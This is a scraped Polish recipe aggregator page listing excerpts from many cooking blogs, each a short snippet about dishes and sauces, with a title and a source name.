smaku i wartości odżywczych na dłużej. Wielu z nas ma momenty, gdy nie mamy czasu na gotowanie, a zamrożony rosoł może stanowić doskonałą bazę dla przyszłych dań, zup czy sosów. Dzięki właściwemu zamrożeniu unikniemy marnowania żywności oraz zaoszczędzimy czas i wysiłek w kuchni. Przygotowanie Rosołu do Zamrożenia Odstawienie i Schłodzenie Jeśli masz świeżo ugotowany rosoł, zaczekaj, aż lekko ostygnie

Podstawy Gotowania
Jak smażyć jabłka? 106

ogniu. Dodaj plasterki jabłek i smaż przez kilka minut, aż będą miękkie i lekko zrumienione. Dodaj cukier i sok z cytryny. Mieszaj, aż cukier się rozpuści i stworzy karmelizowany sos. Podawaj smażone jabłka na ciepło, polewane karmelem, obok ulubionych lodów waniliowych. Smażone jabłka to pyszne i wszechstronne danie, które można podać na słodko lub jako dodatek do wielu potraw. Możesz

Podstawy Gotowania
Roladki z cukinii z mozzarellą 84

plasterków. Wstaw roladki z cukinii do rozgrzanego piekarnika. Zapiekaj przez 25039 minut, aż roladki się przyrumienią, cukinia zmięknie, a ser w środku rozpuści. Podawaj samodzielnie, na przykład z dodatkiem sosu pomidorowego lub jako dodatek do dania mięsnego czy ryby. Smacznego! Artykuł Roladki z cukinii z mozzarellą pochodzi z serwisu nietylkopasta.pl

nietylkopasta.pl
Komosa jak gotować 87

Komosy Ryżowej Gotowana komosa ryżowa może stanowić bazę dla wielu dań. Możesz ją serwować jako dodatek do mięs, warzyw, czy sałatek. Komosa ryżowa doskonale komponuje się także z różnymi sosami i przyprawami. Jej subtelny smak i chrupiąca konsystencja nadają potrawom wyjątkowy charakter. Komosa jak gotować - podsumowanie Gotowanie komosy ryżowej to niewątpliwie wartościowa umiejętność, która pozwoli Ci wzbogacić swoje posiłki

Podstawy Gotowania
jak długo piec mięso w rękawie 102

pieca i otwórz rękaw ostrożnie, aby uniknąć oparzeń. Wyjmij pieczone mięso z rękawa i pokrój je na plasterki. Warzywa z rękawa można podać jako dodatek lub wykorzystać do przygotowania sosu. To danie mięsa pieczonego w rękawie z ziołami jest pełne smaku i aromatu. Rękaw do pieczenia pozwala na utrzymanie wilgoci mięsa i równomierne rozprowadzenie aromatów. Pamiętaj, że to tylko ogólna

Podstawy Gotowania
Kiełbasa biała surowa jak gotować ? 87

przyprawami, jeśli chcesz. Podawanie Surowej Białej Kiełbasy Gotowa surowa biała kiełbasa może być podawana na wiele sposobów. W tym rozdziale omówimy, jak odpowiednio podać kiełbasę i jakie dodatki lub sosy mogą doskonale uzupełnić jej smak. Kiełbasa biała surowa jak gotować- podsumowanie Gotowanie surowej białej kiełbasy to umiejętność, którą warto opanować, aby cieszyć się smakiem tego tradycyjnego przysmaku. Pamiętaj o odpowiednim

Podstawy Gotowania
Jak gotować kuskus ? 96

Wybór zależy od Twoich preferencji smakowych i diety. Następnie, przystąp do przygotowania składników, które zamierzasz dodać do kuskusu. Możesz wybrać warzywa, mięso, ryby, a także różnego rodzaju przyprawy i sosy. Gotowanie kuskusu krok po kroku Gotowanie kuskusu jest szybkie i łatwe, ale wymaga kilku kroków, aby uzyskać idealną konsystencję. Oto kroki, które pozwolą Ci uzyskać smaczny i puszysty kuskus: Przygotowanie

Podstawy Gotowania
Kiszka ziemniaczana jak smażyć? 108

Smażone kiszki ziemniaczane najlepiej smakują na ciepło, tuż po smażeniu. Możesz podać je jako samodzielne danie lub jako dodatek do innych dań. Tradycyjnie smażone kiszki ziemniaczane podawane są z sosem, np. ze śmietaną i koperkiem. Możesz także spróbować podać je z chrzanem lub innymi ulubionymi dodatkami. Kiszka ziemniaczana jak smażyć - podsumowanie Smażona kiszka ziemniaczana to staropolski przysmak, który z pewnością

Podstawy Gotowania
Z czym jeść masło orzechowe? Po poznaniu tych przepisów już NIGDY nie zadasz sobie tego pytania. 90

rozpoczęcie każdego dnia (czytaj: śniadanie), a także sprawdzi się doskonale w formie luźnej przekąski czy popołudniowego deseru. Coś wytrawnego? Bardzo prosimy! Orzechowe masło z powodzeniem wykorzystasz do przygotowania sosu lub marynaty – zarówno do mięs, ryb, jak i dań kuchni wegańskiej. Podpowiadamy : lekko grillowana pierś z kurczaka, którą wcześniej posmarujesz takim masłem, to prawdziwe “niebo w gębie” ?! A może zupa? Mówisz

e-PrzepisyKulinarne
Gnocchi ziemniaczane z szałwią i masłem 114

większych rozmiarów i mają kształt rombu bądź prostokąta. W przeciwieństwie do kopytek, gnocchi są mniejszych rozmiarów i charakteryzują się karbowanym kształtem , który pozwala ugotowanym kluskom absorbować większą ilość sosu. Karbowany kształt tych klusków nie jest obowiązkowy i jeśli nie mamy możliwości go nadać, możemy pozostawić gnocchi w prostym kształcie lub nadać im inny kształt. Przygotowanie gnocchi zaczynam od ugotowania ziemniaków

MeCooks
Rosół jak gotować? 98

zupy. Nie zapominajmy także o innych możliwościach wykorzystania rosołu. Możemy użyć go do gotowania mięsa czy warzyw, które nabiorą wyjątkowego smaku i konsystencji. Rosół jest również doskonałym fundamentem dla sosów i dań duszonych, nadając im głębię smaku i aromatu. Rosół jak gotować - podsumowanie Rosół to niezaprzeczalny klasyk polskiej kuchni, który warto opanować, zwłaszcza gdy dopiero zaczynamy swoją kulinarną przygodę

Podstawy Gotowania
Gulasz z grzybami 95

suszonych, ewentualnie pieczarek.  Polecam również inne przepisy na gulasz:  Placki po węgiersku     Gulasz paprykowy i placki po węgiersku placek po zbójnicku  Polędwiczki w sosie musztardowym Gulasz z kurkami Dyniowy kociołek - gulasz z dynią Gulasz wołowy na winie podany z plackami jaglanymi Gulasz wołowy długo pieczony z czekoladą   Normal 0 21 false false false

Obiad gotowy
Ciecierzyca gotowanie 105

cytryny, oliwa z oliwek, sól, pieprz. Wszystkie składniki umieść w blenderze i zmiksuj na gładki krem. Podawaj z chlebem pita lub jako dip do świeżych warzyw. Ciecierzyca w sosie pomidorowym: Składniki: ugotowana ciecierzyca, pomidory, cebula, czosnek, sól, pieprz, przyprawy (np. oregano, bazylia). Podsmaż cebulę i czosnek na oliwie z oliwek. Dodaj pokrojone pomidory i dus przez kilka minut. Następnie dodaj

Podstawy Gotowania
Gotowanie na parze 86

masło, cebula, śmietana. Umieść pierogi w parowniku i gotuj na parze przez około 8-10 minut. Na patelni rozpuść masło, podsmaż cebulę, a następnie dodaj śmietanę. Podawaj pierogi polane sosem. Gotowanie na parze - podsumowanie Gotowanie na parze to prosta, zdrowa i smaczna metoda przygotowywania potraw, która zachowuje wartości odżywcze i naturalny smak składników. W tym artykule omówiliśmy szczegółowo korzyści, techniki

Podstawy Gotowania
Przekąska z filo 97

ładnie się zrumieni. W połowie pieczenia obróć przekąski na drugą stronę, aby zezłociły się równomiernie z obu stron. Ta przekąska z filo najlepiej smakuje jeszcze ciepła, podana z lekkim sosem jogurtowym lub miodem. Zobacz też inne przepisy na przekąski: Kulki serowe Jajka po szkocku Serowa dynia Roladki z szynki z chrzanem Faszerowane jajka z curry Śledzie z suszonymi pomidorami Zobacz

okolicepalnika.pl
Catering dietetyczny Dietering – diety, opinie 115

indykiem, z wieprzowiną, wołowiną, wegetariańskie, dania z rybą, a także dania Premium. W każdym ze słoików znajdują się dodatki do ziemniaków, kasz, makaronów lub pieczywa (np. klopsiki w sosie, strogonow, curry). „Zdrowy słoik” sprawdzi się chociażby w podróży. Dzięki pasteryzacji słoiki wytrzymają nawet do 40 dni. Menu każdej z powyższych diet możesz sprawdzić tutaj – https://www.dietering.com/menu/

Via Gusto
Sztuka przygotowywania idealnego sushi 100

kawałki takiej wielkości, aby nie przesuwały się łatwo. Następnie arkusz wodorostów zwiń wokół składników. Istnieją specjalne maty, które ułatwiają nadanie sushi odpowiedniego kształtu. Danie serwuje się przede wszystkim z sosem sojowym albo wasabi, czyli japońskim chrzanem o wyjątkowo ostrym smaku. Przygotowywanie sushi jest prawdziwą sztuką. Z przyjemnością patrzy się, z jaką precyzją i szybkością zawodowi kucharze robią tę potrawę. Warto

codojedzenia
Czy ziemniaki tuczą? Jak je spożywać, by glikemia była stabilna? Plus ziemniaczane przepisy z bloga :) 87

znajdziemy zaledwie 73 kcal, czyli znacznie mniej niż w takiej samej porcji kaszy czy makaronu. Oczywiście tych kalorii będzie więcej, jeśli zdecydujemy się podać ziemniaka w połączeniu z sosem, albo w formie smażonej, czy pieczonej z dodatkiem tłuszczu. Ziemniak jest idealnym przykładem na to, że sposób obróbki termicznej ma ogromne znaczenie! Ziemniaki, a zaburzenia glikemii Czy osoby z zaburzeniami

Natka Pietruszki
Tarta z młodymi ziemniakami i porem 82

leżą podgotowane wcześniej połówki młodych ziemniaków, poprzetykane kozim twarożkiem, całość zalana jest śmietanką z jajkiem, zapieczona w piekarniku i posypana szczypiorkiem. Doskonałą towarzyszką tej tarty będzie miska sałaty w sosie vinegret. Polecam też inne przepisy na tarty wiosenno letnie, na tartę ze szparagami i orzechową tartę z cukinią i serami Print Tarta z młodymi ziemniakami i porem Tarta z młodymi

Cooking for Emily
Kaszanka na grilla – sekrety smaku tradycyjnej kuchni 117

jest wszechstronna i łatwo ją dopasować do różnych dodatków. Doskonale smakuje z tradycyjnymi dodatkami, jak pieczywo, musztarda czy ogórki kiszone, ale równie dobrze pasuje do nowoczesnych, ekstrawaganckich sałatek czy sosów. Dzięki temu każdy miłośnik grillowania z pewnością znajdzie dla niej miejsce na swoim talerzu. Sekrety przygotowania – jak grillować kaszankę, żeby była soczysta i smakowita Jak przygotować kaszankę na grilla

Ugotowane pozamiatane
Mąka migdałowa – produkt niezastąpiony w Twojej kuchni 103

Polsce lane kluski; dania mączne – pierogi, kluski śląskie, kopytka, naleśniki; pieczywo – chleby, bułki; wypieki cukiernicze – ciasta, ciastka; zasmażki do mięs i warzyw; różnego rodzaju panierki; zagęszczacze do zup i sosów. W praktyce możesz na niej wykonać każde danie wymagające zastosowania mąki. To produkt idealny do dań diety ketogenicznej , ponieważ ma niską zawartość węglowodanów i jednocześnie wysoką zawartość białka i zdrowych

ProstePesto.pl
Olej MCT🥥, czyli tłuszcze średniołańcuchowe: Skuteczne źródło energii dla Twojej keto diety 111

używać go jako dodatek do kawy lub herbaty. Mleko kokosowe: Mleko kokosowe jest świetnym źródłem tłuszczów MCT. Możesz go dodawać do koktajli, smoothies, czy też używać jako bazę do sosów i zup. Suplementy MCT: Istnieją również suplementy diety zawierające tłuszcze MCT w formie płynnej lub proszku. W praktyce lepszy jest olej MCT w proszku , gdyż rzadziej powoduje dyskomfort trawienny, który

Modern Cave Girl
Przepisy ze świeżym ogórkiem – sałatki z ogórkiem i inne dania – 10 PRZEPISÓW 140

sokiem z cytryny. Chłodnik ogórkowy: Świeże ogórki, jogurt naturalny, koperek i czosnek mieszane w blenderze, podawane schłodzone. Tzatziki: Starte ogórki z jogurtem, czosnkiem i świeżym koperkiem, podawane jako sos lub jako dip do chleba. Ogórkowa lemoniada : Ogórki, mięta i sok z limonki zmiksowane z wodą i ewentualnie dodatkiem cukru. Kanapki z pastą ogórkową: Ogórki, jogurt, cebula, zioła i przyprawy zmiksowane

Via Gusto
Focaccia z oliwkami i pomidorami 119

Focaccia to wypiek z ciasta drożdżowego , podobny do pizzy lecz niezawierający sosu. Określana jest mianem płaskiego chleba drożdżowego . Ciasto drożdżowe, z którego robiona jest focaccia powstaje z połączenia prostych składników takich jak mąka, woda, oliwa, drożdże oraz sól. W prostej wersji chlebek ten skropiony jest oliwą i posypany gruboziarnistą solą, lecz bardzo często jego wierzch pokryty jest dodatkami. Dodatki , które

MeCooks
Dobre jedzenie w Warszawie na Woli: Kulinarna podróż dla podniebienia 101

smaki z nowoczesnymi technikami kulinarnej sztuki. Możesz spróbować dań, które łączą w sobie elementy kuchni polskiej z nowoczesnymi twistami. Niektóre restauracje oferują unikalne dania, takie jak polędwiczki wieprzowe z sosem truflowym i karmelizowanymi jabłkami, które rozpływają się w ustach. Dobre jedzenie w Warszawie na woli to prawdziwa uczta dla podniebienia. Dzielnica ta oferuje zarówno tradycyjne polskie smaki, jak i kulinarną

jakszef.pl
Chlebki Naan na zakwasie chlebowym 87

samym czasie policzki zaokrąglają się od uśmiechu, a kuchnia wypełnia jednym z najprzytulniejszych zapachów. Tak samo jak są pyszne na ciepło z masłem czosnkowym i ziołami lub maczane w sosie, tak samo zasmakują Wam na zimno. Można je też wypełnić w środku ulubionymi dodatkami (np. ser, warzywa, pieczone mięso) i podpiec, stostować lub zgrillować, by cieszyć się pyszną ciepłą przekąską

Kuchnia w Słońcu Skąpana
Ekspresowa fasolka po bretońsku z chorizo 107

więc naprawdę czas mnie nagli. Postaram pojawić się tutaj w poniedziałek. Może na weekend zabiorę aparat i porobię zdjęcia jakiś sałatek, które mam w planie zrobić. Może jakieś sosy. Zobaczę. Do następnego, baj. Składniki: 3 puszki fasoli konserwowej (ja użyłam 2 puszek dużej fasoli i 1 puszkę małej fasoli) 300 g chorizo (ja użyłam pikantnej) 1 duża cebula 2 ząbki

Kardamonovy
Trójkąty drożdżowe na wytrawnie 91

Proste w przygotowaniu, chrupiące z zewnątrz i pysznie nadziane w środku. Idealne przekąska na przyjęcia lub pomysł na obiad . Takie drożdżowe trójkąty świetnie smakują same lub w towarzystwie ulubionych sosów np. czosnkowego lub jogurtowego. Jak przygotować drożdżowe trójkąty? Przygotowanie takiego dania jest naprawdę proste. Ciasto na trójkąty nie wymaga długiego wyrastania. Wystarczy je zagnieść i odstawić na czas przygotowania farszu

Słodkie okruszki
Chrupki drożdżowe jako nietypowy dodatek do sałatek 108

żadnej kuchni. Godne uwagi są zwłaszcza chrupki drożdżowe KruKam , które pasują do dań wegańskich i wytrawnych. Można je dodawać nie tylko do ulubionych sałatek, ale też do hummusu, sosów, zup, jogurtów i past. Drożdżowe chrupki – kiedy najbardziej się przydadzą? Nie da się ukryć, że chrupki drożdżowe przydadzą się najbardziej zwłaszcza tym osobom, które lubią eksperymentować w kuchni i stawiać

ProstePesto.pl
Ciasto malinowe bez pieczenia – ciasto z kwaśną śmietaną 145

tylko efektowne, ale również łatwe w przygotowaniu. W tym przepisie mrożone maliny i miękkie beziki lub biszkopty układa się warstwami w szklance lub pucharku, a całość skrapiana jest kremowym sosem na bazie śmietanki i zblendowanych malin. To świetna propozycja na imprezy lub romantyczną kolację. Malinowe ciasto z musem: Delikatne ciasto biszkoptowe, polane lekkim musem z mrożonych malin, to doskonały wybór

Via Gusto
Brokuły na rukoli 106

obgotowujemy- pilnujcie by nie zrobiła się papka, ma być sprężysty. Majonez mieszamy z jogurtem, posiekanym czosnkiem i solą i pieprzem. Na półmisku układamy rukolę, na to brokuła, polewamy sosem, obsypujemy pestkami i posypujemy posiekaną drobno mozzarellą. I już! Smacznego! Share 0 Tweet 0 Pinterest 0 0 Shares The post Brokuły na rukoli first appeared on Latosiowy

Latosiowydom
Schab pieczony w migdałowej skorupce 76

styk w sumie. Jeżeli macie ochotę zrobić na najbliższe święta domową wędlinę, ten przepis jest właśnie dla Was. Na zimną płytę będzie jak znalazł. My lubimy ją jeść z sosem majonezowo-chrzanowym. Świetnie sprawdzi się też klasyczna ćwikła. Smacznego. Składniki: 1 kg schabu 2 łyżki oleju 1 łyżeczka soku z cytryny 1-2 łyżki suszonego majeranku 1/4 szklanki wody sól

Kardamonovy
Surówka z selera, jabłka, żurawiny i szczypiorku 75

warzyw właśnie tą obieraczką. Jak to ułatwi życie, łopaaanie. Plus oczywiście wrażenie wizualne, a jakże. Surówka z selera, jabłka, żurawiny i szczypiorku została zjedzona w towarzystwie kurczaka pieczonego w sosie pomidorowym. I tak, wiem, że lepiej pasowałaby na przykład do schabowego czy innego pieczystego, ale tak akurat u nas wyszło. To był najodpowiedniejszy dzień na użycie nowej obieraczki. No życie

Kardamonovy
Chili con carne z wieprzowiną 85

wieprzowiną wyszło przepyszne. Pamiętajcie, że najlepiej smakuje na drugi dzień. Na dziś tyle, czas mnie trochę nagli, muszę zacząć szykować sałatkę na kolację, a ta akurat zajmuje sporo czasu. Sos, z którym ją się podaję jest z pieczonymi bakłażanami. Obiecuję, że kiedyś Wam sprzedam ten przepis. Jest świetny i też pochodzi z książki „Palestyna”. Odezwę się znowu

Kardamonovy
Bigos z wieprzowiną 81

pół godziny. Pilnujcie poziomu płynów w garnku, żeby bigos się nie spalił. Jeżeli płynu jest za dużo, gotujcie więcej bez pokrywki. Chodzi o to, żeby bigos nie pływał w sosie, ale też żeby nie był za suchy. Jeżeli finalnie bigos wyszedł dla Was za mało kwaśny, dolejcie do niego kwasu z kapusty. Ja dolałam 1/3 szklanki soku z kiszonej kapusty

Kardamonovy
Racuchy z twarogiem na sodzie 96

porcja jednak wylądowała na talerzu w towarzystwie miodu i też była bardzo smaczna. To porcja córkowa, wiadomo. Myślę, że tego typu racuchy będą świetnie pasować także do różnego rodzaju sosów, do gulaszu, leczo, itp. Może kiedyś pokuszę się o takie połączenie. Póki co – tzatziki. Czy twaróg jest niezbędny w tym przepisie? Pewnie że nie, spokojnie możecie go pominąć

Kardamonovy
Zupa koperkowa z porem i młodymi ziemniakami 115

pęczek koperku 1 marchewka mała jasnozielona część pora 4 średnie młode ziemniaki pół łyżeczki soku z cytryny 2 łyżki śmietany 12% (ja użyłam tej z kartonika, do zup i sosów) 1 łyżka masła sól pieprz (przepis na 3-4 porcje) Marchewkę obieramy i kroimy w cienkie plasterki lub półplasterki, pora dokładnie myjemy i kroimy w cienkie półplasterki, smażymy na maśle

Kardamonovy
Sałatki przekąskowe – najlepsze sałatki na imprezę 101

Najlepsze i sprawdzone przepisy na sałatki przekąskowe. Lekkie, delikatne, kolorowe i smaczne. Bez ciężkich sosów majonezowych! Takie sałatki przekąskowe to idealny wybór na każdą okazję! Świetnie się sprawdzą na rodzinne spotkania, kolację ze znajomymi, a nawet do grilla! Przepisy na sałatki przekąskowe, które dla Was zebrałam są bardzo proste, a składniki ogólnodostępne. Zakupicie je w każdy sklepie. Każda

Damusia.pl
Pieczony camembert z winogronami 91

winem oraz dodaj miód. Podgrzewaj na średnim ogniu przez 7-10 minut aż wino nieco odparuje, a winogrona zmiękną. Wyjmij ser z piekarnika i połóż na nim winogrona z sosem. Wszystko obficie posyp orzechami włoskimi i podawaj z grzankami, póki jest ciepłe i się rozpływa. Smacznego! Artykuł Pieczony camembert z winogronami pochodzi z serwisu nietylkopasta.pl

nietylkopasta.pl
Deser Kinder Bueno w pucharkach 131

mascarpone: Klasyczna włoska panna cotta z mascarpone to jedno z najbardziej kremowych i delikatnych deserów. Połączenie mascarpone z śmietanką i cukrem tworzy gładką konsystencję, którą można podawać z różnymi sosami owocowymi lub karmelem. deser Kinder Bueno – PRZEPIS

Via Gusto
TACOS SEROWO-ŁUBINOWE (keto, bez glutenu, redukcja) 108

małym ogniu przez 20 minut. Gotowe miseczki wypełnić przygotowanym mixem sałat, pokrojoną w kotkę papryką lub innymi warzywami oraz mięsem. Całość można także posypać serem lub dodać ulubione sosy. — BTW całości samego pieczywa: 349 g, 956 kcal, B 74 g, T 63 g, W 10 g. Dzieląc ciasto na 5 równych porcji, w jednej: 191 kcal

Ola la LCHF
Dieta 1800 – 2000 kalorii – dzień 0 120

kolacje starannie dobieram dania, które są pożywne, ale jednocześnie niezbyt obfite. Często decyduję się na sałatki z grillowanym kurczakiem prażonymi warzywami i oliwą z oliwek lub warzywne makarony z sosem pomidorowym i kawałkami mozzarelli. Kolacja powinna nasycić, ale nie obciążać żołądka przed snem. Oczywiście nie mogłem zapomnieć o deserze! Jednak staram się wybierać te, które są łatwiej przyswajalne dla organizmu

RafalCook
Racuszki z jabłkami i recenzja książki Pysznie czy przepysznie 88

przygotowała. A w środku same pyszności, pomysły na śniadania, zupy, dania główne, kolacje, desery a nawet przetwory, nie zabrakło także dodatków takich jak chleb, bułki, pieczone ziemniaczki, surówki czy sosy.  Nie znajdziecie tutaj wydumanych przepisów, jest prosto domowo, ale jednocześnie pomysłowo, każdy znajdzie coś dla siebie i z pewnością zaskoczy domowników czymś pysznym. I te zdjęcia potraw, czy autorki

Cynamonowe szczęście
Ciasto na pizzę 142

lodówce, a w temperaturze pokojowej. Taki sposób przygotowania zaczynu sprawia, iż ciasto po upieczeniu jest jeszcze smaczniejsze. Gotowe ciasto wyłożyć można ulubionymi dodatkami, w tym oczywiście serem i sosem pomidorowym bądź w przypadku białej pizzy mascarpone, serkiem kremowym lub kwaśną śmietaną. Zachęcam was do sięgnięcia po poniższy przepis na ciasto na pizzę i życzę smacznego. Znajdziesz mnie na Instagram

MeCooks
Kurczak pieczony na płasko 252

dobrze jest odstawić do zamarynowania, ale nie jest to warunek konieczny). Pieczemy przez około 2 godziny w piekarniku nagrzanym do 170 stopni. W trakcie pieczenia kilkukrotnie podlewamy kurczaka wytopionym sosem. Pod sam koniec można zwiększyć nieco temperaturę (do 190 stopni), by skórka ładnie się przypiekła

Smaki Na Talerzu
Przepisy na śledzie – 9 pomysłów 90

śledzie, to właśnie ta wersja przychodzi mi do głowy jako pierwsza. Z moich obserwacji wynika również, że śledzie po kaszubsku należą do ulubieńców wśród moich bliskich. Świetne połączenie kwaskowatego sosu pomidorowego i słodkawej cebulki. Klasyka w najlepszym wydaniu. 2. Przepisy na śledzie: przysmak gajowego Śledzie gajowego – aby zobaczyć przepis, kliknij w zdjęcie W jaki sposób gajowy serwuje śledzie? Oczywiście

okolicepalnika.pl
KROKIETY ŁUBINOWE Z KAPUSTĄ I GRZYBAMI (keto, LCHF, bez glutenu) 105

podanych składników panierce. Panierowane krokiety smażyć na rozgrzanym tłuszczu delikatnie obracając z obu stron na złoty kolor. Krokiety łubinowe można podawać np. z barszczem z zakwasu z buraka, sosem grzybowym bądź bez żadnych dodatków. Decydując się jednak na jakiekolwiek, należy je oczywiście wliczyć w makro. — BTW całości: 473 g, 927 kcal

Ola la LCHF
Sałatka z selerem konserwowym, serem żółtym i ananasem 123

końcu wykorzystać. Nawet nie wiem skąd się wziął u nas w domu. Wylądował więc w sałatce i zupełnie niczego nie zepsuł. Klasycznie (u mnie) jeżeli chodzi o sos, wymieszałam majonez z gęstym jogurtem naturalnym. Nie przepadam za sałatkami, w których jest sam majonez, są dla mnie za tłuste, za ciężkie. Nie i już. W tej sałatce jest naprawdę spora ilość

Kardamonovy
Mleczne gofry z bitą śmietaną, truskawkami i kilka słów o gofrownicy Dezal 110

pszennej 1,5 szklanki mleka 100 ml rozpuszczonego i wystudzonego masła ½ szklanki mleka w proszku 2 łyżeczki cukru 1 łyżeczka proszku do pieczenia   Dodatki: Bita śmietana Truskawki Kiwi Sos czekoladowy Świeża mięta   Sposób przygotowania: Żółtka wybić do miski, dodać cukier i ubić mikserem na puszystą pianę, wlać mleko oraz płynne masło, dodać przesianą mąkę pszenną wymieszaną z mlekiem

Wanilia i Kardamon
Buddha bowl z pieczonymi batatami i czarną fasolą 107

małym ogniu przez ok. 15 minut, aż quinoa wchłonie cały płyn. Dressing tahini Połącz wszystkie składniki w misce/wysokim kubku i wymieszaj. Dodaj 1-2 łyżki wody więcej, jeśli sos jest zbyt gęsty. Pozostałe składniki Fasolę przełóż na sitko i przepłucz zimną wodą. Pomidory pokrój w ósemki lub w kostkę, paprykę pokrój w długie słupki. Cebulę pokrój w piórka. Połączenie

Na-talerzu.pl
Zestawy i akcesoria do sushi, czyli nie bój się i zrób to sama ;) 99

ryżem do sushi. A jeśli chodzi o kupno tego produktu, odwiedź sklep Sushi-sklep.pl i złóż stosowne zamówienia. Nie zapomnij o innych egzotycznych składnikach twojego sushi, jak chociażby chrzan wasabi, sos sojowy czy wodorosty algi nori. Produkty do sushi dostępne w Polsce Z pewnością zdajesz sobie sprawę, że same artykuły spożywcze na niewiele się zdadzą, jeśli kompletny zestaw do sushi

kruche babeczki
Foccacia z oliwkami, czosnkiem i szparagami. Czym różni się foccacia od pizzy? 115

minut. Foccacie tak jak i pizze wypiekamy na kamieniu do pizzy. Oczywiście możesz skrócić czas wyrastania ciasta i poszczególnych etapów, minimalny czas wyrastania ciasta na foccacię to 8 godzin. SOSY DO FOCCACI: ZIELONY: - 1 awokado -garść olwiek - garść kaparów - 2-3 ząbki czosnku - oliwa z oliwek - woda - parmezan - sól - 3 garście bazylii Całość zmiksuj na gładki krem, podawaj z foccacią

SMYKWKUCHNI
Keto mus czekoladowy na białkach (low carb, bez laktozy) 120

węglowodanów) << A może coś keto na słono? Keto naleśniki na mascarpone Bułki z babki jajowatej Keto chleb z siemieniem lnianym Frittata ze szpinakiem Sałatka jarzynowa bez ziemniaków Sos serowo-śmietanowy Keto bułki z siemieniem lnianym Puree z kalafiora Bułki bez drożdży Pieczone placki z cukinii (keto) Chleb na maśle orzechowym z siemieniem lnianym Pizzerinki na serku wiejskim Boczniaki

WegePrzepis
Cytrynowe gnocchi z kurczakiem i szpinakiem 134

ostatniego gniotka i wylizali talerze. Chyba to mówi samo za siebie – danie jest pyszne, bo w sumie wszystko w nim się zgadza – idelnie ugotowane gnocchi, w kremowym sosie – lekko kwaśnym, aromatycznym. Do tego kurczak, także w kwaśnej, cytrynowej nucie. Dajcie się zaskoczyć jakie to smaczne i wypróbujcie. Skadniki (na 3 porcje): opakowanie gotowych gnocchi 2 filety

Smaczna Strona
Jak wybrać dobre garnki? 114

Rondle są zazwyczaj mniejsze i mają tylko jedną rączkę , w przeciwieństwie do garnków, które wyposażone są w dwa uchwyty. Rondle dobrze nadają się do podgrzewania mleka, roztapiania masła, gotowania sosów lub zasmażek. Oczywiście do takiego rondla można znaleźć stosowną pokrywkę. Garnek do gotowania na parze Garnki do gotowania na parze to bardzo ciekawe i przydatne naczynia. Jak nazwa wskazuje, garnki

Kuchcik gotuje
Liście oliwne z pesto genovese 112

produkty, znane na całym świecie w jeden pyszny obiad, który przyszedł mi do głowy. O pesto genovese możesz przeczytać tutaj , zresztą niedługo będzie jeszcze jedno danie z tym fantastycznym sosem. Na zakończenie mojej przydługiej i jakże nudnej wypowiedzi, życzę Ci smacznego z moim pomysłem na liście oliwne z pesto. Składniki potrzebne, by zrobić liście oliwne z pesto Foglie

RafalCook
Tort czekoladowy z masą czekoladową 137

czekamy aż masło się roztopi. Następnie dodajemy czekoladę. Odstawiamy na chwilę, aby przestygło. Do miski przesiewamy mąkę, kakao, dodajemy sodę oczyszczoną, proszek do pieczenia. Do drugiej miski przelewamy sos czekoladowy, dodajemy jajka i cukier. Przy pomocy miksera wszystko miksujemy do połączenia się składników, ale nie za długo. Dodajemy rum i następnie dosypujemy suche składniki. I miksujemy dosłownie chwilę. Do tego

Kulinarnyblog.pl - wiesz jak gotować!
Surówka z młodej kapusty z rzodkiewkami i fetą 100

migdałów. Wszystko zalewamy oliwą i sokiem z cytryny, doprawiamy solą i świeżo zmielonym pieprzem, dodajemy poszatkowany koperek. Mieszamy i od razu podajemy. Podobne przepisy: Surówka z młodej kapusty z sosem farmerskim Surówka z młodej kapusty, selera i rodzynek Surówka z młodej kapusty z ogórkami Surówka z młodej kapusty z marchewką i gruszką Surówka z młodej kapusty i kukurydzy Artykuł Surówka

Kardamonovy
Przepis na pizza bez drożdży 87

dłońmi tłuszcz. Nasze ciasto umieszczamy na środku i rozciągamy palcami. Ale tylko w taki sposób, że ranty ciasta muszą być grubsze, zaś środek cieńszy. Następnie tak przygotowane ciasto smarujemy sosem pomidorowym. Musi być wysmarowane całe, oprócz rantów. W między czasie nastawiamy piekarnik na temperaturę 250 stopni z termo obiegiem. Jeśli ktoś nie ma termoobiegu to temperatura musi wynosić 260 stopni

Marcepanowa kuchnia
Sernik z nutellą. 104

gazu mieszać polewę jeszcze przez chwilę, żeby nie była zbyt ciepła.  Następnie wylać na sernik.  Polewa nie będzie całkiem zastygnięta i twarda. Będzie miękka jak gęsty  sos czekoladowy. Wydaje mi się, że właśnie dzięki tej polewie całość tak dobrze smakuje. Wierzch sernika udekorować posiekanymi orzechami.  Sernik wstawić na około 2 godziny do lodówki

Agusiowe smakołyki
Żółte curry z kurczakiem 102

kolor swój zawdzięcza kurkumie. Pamiętaj, że poziom ostrości Twojego dania nie zależy jedynie od tego, jakiej pasty użyjesz, ale też ile jej dodasz i na bazie czego przygotujesz sos. @import url(https://static.mailerlite.com/assets/plugins/groot/modules/includes/groot_fonts/import.css?version=1643283); .ml-form-embedSubmitLoad{display:inline-block;width:20px;height:20px}.g-recaptcha{transform:scale(1);-webkit-transform:scale(1);transform-origin:0 0;-webkit-transform-origin

nietylkopasta.pl
Risotto z krewetkami 118

Risotto z krewetkami, bardzo lekkie, ponieważ bez masła i parmezanu. Oczywiście risotto kojarzy się ze wspaniałym ryżem i kremowym sosem, który powstaje z masła, sera i skrobi z ryżu. Czy można uzyskać taki efekt bez dwóch składników…tak 😉. Costardi Brothers Z pomocą i inspiracją do stworzenia tegoż lekkiego risotto z krewetkami przyszli mi Bracia Costardi . Christian i Manuel Costardi

RafalCook
Tradycyjne ciasto murzynek 155

przez Paulina 2022-05-05 Wiosenna surówka z młodej kapusty z kukurydzą przez Paulina 2022-04-19 Ćwikła z chrzanem przez Paulina 2022-04-13 Pieczona biała kiełbasa w sosie chrzanowym przez Paulina 2022-04-04 Szybkie paszteciki z ciasta francuskiego z kapustą i grzybami przez Paulina 2022-03-27 Artykuł Tradycyjne ciasto murzynek pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Pokrzywa 101

Najwięcej wartości ma, podawana na surowo. Może jednak się też stać dodatkiem do pierogów, z powodzeniem zastępując szpinak w farszu lub jako dodatek do ciasta, pięknie komponuje się w sosach ze smakiem mięsa lub warzyw, poszatkowana i duszona w garnku. Korzystajcie, próbujcie, doceńcie. To prawdziwa wiosenna królowa. Można ją zrywać samemu lub zimą kupić w sklepie zielarskim. *artykuł zewnętrzny (function

Kuchcik gotuje
Terrina wieprzowa z pistacjami 178

